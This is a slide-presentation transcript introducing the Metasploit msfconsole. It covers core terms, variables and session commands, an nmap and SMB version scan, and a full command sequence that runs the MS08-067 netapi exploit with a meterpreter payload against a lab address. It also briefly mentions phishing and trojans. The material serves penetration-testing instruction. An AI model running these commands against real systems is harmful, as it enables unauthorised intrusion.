1 / 12

Exploring the M sfconsole

Exploring the M sfconsole. What is it?. The Metasploit msfconsole is the primary interface used to interact with the framework. It is the only currently supported interface. It is also the most useful when exploring specific vulnerabilities .

Download Presentation

Exploring the M sfconsole

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Exploring the Msfconsole

  2. What is it? • The Metasploitmsfconsole is the primary interface used to interact with the framework. • It is the only currently supported interface. • It is also the most useful when exploring specific vulnerabilities. • Relatively easy to learn for those already used to a command line environment.

  3. General Concepts • Payload: An exploitable executable to deliver to a victim machine. • Exploit: A defined method of attack available for loading from the framework. • Session: An established, post-exploit connection to the victim machine. May be in the form of a shell or a VNC connection.

  4. The environment • Much as with Cisco routers and switches, the msfconsole allows you to enter into different contexts to run commands. • These contexts can have their own variables or use global variables. • Local variables can be assigned values using the set command. • Global variables can be assigned using setg.

  5. Important Variables • LHOST: local host • RHOST: remote host(s) • LPORT: local listening port • RPORT: remote port • PAYLOAD: specify payload • EXPLOIT: metasploit exploit to run

  6. Exploit commands • exploit • exploit -j • exploit -h • sessions -c cmd • sessions -iV • sessions -k • check

  7. Scanning example >nmap -sS -v -A -p1-1024 192.168.85.138 >use auxiliary/scanner/smb/smb_version >set RHOSTS 192.168.85.138 >run

  8. What happened? • Nmap indicated smb was running on the target. • An auxiliary module was called to scan the smb-system. • The results indicated XP Service Pack 2

  9. Sample cmdseries >search exploit/windows/smb >use windows/smb/ms08_067_netapi >show options >set PAYLOAD windows/meterpreter/bind_tcp >set RHOST 192.168.85.137 >set target 4 >exploit

  10. What happened? • A search was made of windows smb exploits • The netapi exploit was chosen. • A payload and remote victim were identified. • The specific platform of the victim was specified (4 = XPSP2) • The exploit was run and a meterpreter shell was created.

  11. What About Win 7/8? • Newer operating systems are harder to leverage. • New exploits emerge over time and are added to the framework. • The more frequently patched the system, the less vulnerable. • In such cases one must fall back on tricking a user into providing access through phishing or trojans.

  12. Your turn...

More Related